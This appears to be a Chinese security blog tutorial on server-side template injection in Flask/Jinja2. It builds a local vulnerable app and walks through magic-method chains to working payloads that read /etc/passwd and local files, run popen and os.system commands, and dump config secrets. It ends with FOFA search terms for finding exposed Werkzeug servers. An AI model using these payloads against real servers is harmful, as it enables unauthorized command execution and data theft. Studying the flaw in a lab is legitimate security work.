Bootstrap

Flask框架-SSTI模板注入漏洞


使用Flask搭建网站

  1、本地环境:

环境版本
编辑器Pycharm/2019.3.3
开发语言Python/3.7.6
框架Flask/1.1.1
渲染Jinja2/2.11.1
Response指纹Server: Werkzeug/1.0.0 Python/3.7.6

  2、Pycharm新建项目“flask”,选择File-Setting-Project Interpreter-加号搜索Flask-左下角Install Package,或者命令行执行pip install flask

  在Pycharm安装flask包时报错“No matching distribution found for Flask”。
查看Project Interpreter使用的Python解释器,发现使用的是anaconda中的python.exe,
切换成Python3.7.6的解析器,flask包早已存在Python3.7.6的包中。

在这里插入图片描述

  3、测试代码,执行代码:

#coding: utf8

from flask import Flask	# 从flask框架中导入Flask类
app = Flask(__name__)	# 传入__name__初始化一个Flask实例
@app.route('/')	# app.route装饰器的作用是将函数与url绑定起来
def hello_world():
  return 'Hello World!'

if __name__ == '__main__':	# 运行本项目,host=0.0.0.0可以让其他电脑也能访问到该网站,port指定访问的端口。
  app.run(host='127.0.0.1',port=9000)	# 默认的host是127.0.0.1,port为5000

在这里插入图片描述

  4、然后我们使用burp抓包,查看一下服务器的指纹:
在这里插入图片描述


模板渲染

flask有2个渲染方法
渲染方法说明示例
render_template()渲染指定文件return render_template(‘index.html’)
render_template_string()渲染字符串return render_template_string(html)

  关于网站根目录,是Pycharm存储项目的位置,如下flask目录就是网站根目录。

import os
print(os.path.dirname(app.instance_path))

本地示例:D:\PyCharm Community Edition 2019.3.3\MyProtect\venv\flask

  flask使用Jinja2作为渲染引擎。
在根目录创建templates目录,准备用于存放html模板文件。
创建/templates/index.html文件,代码编写为<h1>This is index page</h1>

测试代码1
#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string

app = Flask(__name__)
@app.route('/index/')

def hello_world():
  return render_template('index.html')

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)

在这里插入图片描述

  模板文件不是单纯的html代码,往往夹杂着模板的语法,需要传入变量。{{}}在Jinja2中作为变量包裹标识符。
  题眼:不正确的使用flask中的render_template_string方法会引发SSTI。

测试代码2

  其中模板文件templates/index.html的内容是<h1>{{content}}</h1>

from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)
存在漏洞的代码,测试代码3

  模板引擎一般都默认对渲染的变量值进行编码转义,所以此处经测试不存在XSS。

  但如果是html = ''' <h3>%s</h3> '''%(code) return render_template_string(html),那么就会产生XSS漏洞和SSTI漏洞。
  注意,看到网上还有其它版本的漏洞代码,存在漏洞的源码不一定只有这一种形式。

#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
  name = request.args.get('name')
  #return render_template_string('<h1>hello, {{ name }}</h1>', name=name) # 不存在漏洞
  # `return render_template('index.html', name=name)`也不存在漏洞
  
  html = '''<h3>%s</h3>'''%(name)		# 这种编写模板的方式存在XSS漏洞和SSTI漏洞。
  return render_template_string(html)

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)

在这里插入图片描述

  渲染模板文件的三种方式中,第三种方式存在漏洞,会执行传入的表达式。
在这里插入图片描述


利用模板注入漏洞

环境准备

  在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
  后台开发,基于如下测试代码。其中模板文件/templates/index.html的内容是<h1>hello,{{content}}</h1>

#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
  content = request.args.get('name')
  html = '''<h3>hello,%s</h3>'''%(name)		# 这种编写模板的方式存在XSS漏洞和SSTI漏洞。
  return render_template_string(html)

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)
魔术方法和模块利用

  通过Python的对象继承可以实现文件读取、命令执行等。
  思路链:找到父类<type ‘object’> -> 寻找子类 -> 寻找命令执行、文件操作的模块

  魔术方法

名称说明
.__class__查看该类型所属的对象
.__mro__查看该对象继承的基类元组
.__base__查看该对象继承的基类
.__subclasses__每个新类都保留了子类的引用,查看类可用引用的列表
.__init__初始化类
.__globals__查看类中的方法、属性等值

  相关测试,逐层向上查看。有些不同的是,网上文章打印的类是<type 'str'>
而本地测试打印的类是<class 'str'>,应该是Python版本的问题,无伤大雅。

Payload结果
1.查看所属类{{’’.__class__}}<class ‘str’>
2.查看所属基类{{’’.__class__.__mro__}}(<class ‘str’>, <class ‘object’>)
{{’’.__class__.__mro__[0]}}<class ‘str’>
{{’’.__class__.__base__}}<class ‘object’>
3.查看子类信息{{’’.__class__.__base__.__subclasses__}}<built-in method __subclasses__ of type object at 0x00007FFEDD175B30>
{{’’.__class__.__mro__[0].__subclasses__}}<built-in method __subclasses__ of type object at 0x00007FFEDD175E50>
4.查看子类的引用列表 {{’’.__class__.__mro__[0].__subclasses__()}}[<class ‘markupsafe.Markup’>]
{{’’.__class__.__mro__[1].__subclasses__()}}返回将近1000个类

  我们已经可以调用所有的类了,接下来寻找可以读取文件、执行命令的类,然后调用类中的方法,读取文件或执行命令。通过Python脚本,在子类列表中寻找特定类。

可用类说明
文件操作类’file’Python3.7.6中没有找到file对象。格式file().read()
-利用语句’’.__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read()
可用1.‘os._wrap_close’读取文件:[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()
-执行命令:[128].__init__.__globals__[‘popen’](“dir”).read()
含os模块的’site._Printer’Python3.7.6中没有找到’site._Printer’对象
-‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’)
含os模块的’site.Quitter’Python3.7.6中没有找到’site.Quitter’对象
Payload测试结果
5.寻找os模块或file等模块-
类’os._wrap_close’序号128
6.使用[’__builtins__’]().read()[“open”]成功读取文件:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}}hello,bug
7.使用[‘popen’](“dir”).read()成功执行命令:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}}驱动器 D……
#-*- coding:utf-8 -*-
#__author__: HhhM
import json

a = """
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...,<class 'jinja2.ext._CommentFinder'>
"""
num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k,v in enumerate(allList):
    if "os" in v:   # 寻找包含关键词os的类
        print(str(k)+"--->"+v)

在这里插入图片描述
在这里插入图片描述

漏洞Payload测试和收录

  清楚地梳理到__subclasses__()__globals__,但对于全局的方法和属性的调用不太清晰,比如['__builtins__']["open"]['popen']等。
  今天先到这,下篇要写就写绕过过滤,顺便补充一下全局方法和属性的知识。

说明Payload结果
验证name={{7*7}}49
查看配置文件的全局变量name={{config}}secret_key、debug……
读取文件{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}}hello,bug
执行命令{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}}驱动器 D……
待测试’file’类.__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read()Python3没有这两个类
待测’site._Printer’‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’)

FOFA搜索漏洞

  搜索"Werkzeug",搜索"hello" && “Werkzeug”,诚实地讲,很难碰到这个漏洞叭。


参考

  《从零学习flask模板注入》,2018-10(吸收完毕)
https://www.freebuf.com/column/187845.html

  《用Flask开发网站系列教程(一)——URL和视图》,2020-05
https://blog.csdn.net/jspython/article/details/106018350

  《(1)PyCharm开发工具安装Flask并创建helloworld程序》,2019-06
https://www.cnblogs.com/jun1019/p/11052467.html

  《如何获取Flask 应用程序的根路径?》,2018-07
https://cloud.tencent.com/developer/ask/140550

  《浅谈flask与ctf那些事》,2020-08(吸收了近二分之一)
https://www.cnblogs.com/hetianlab/p/13541420.html

;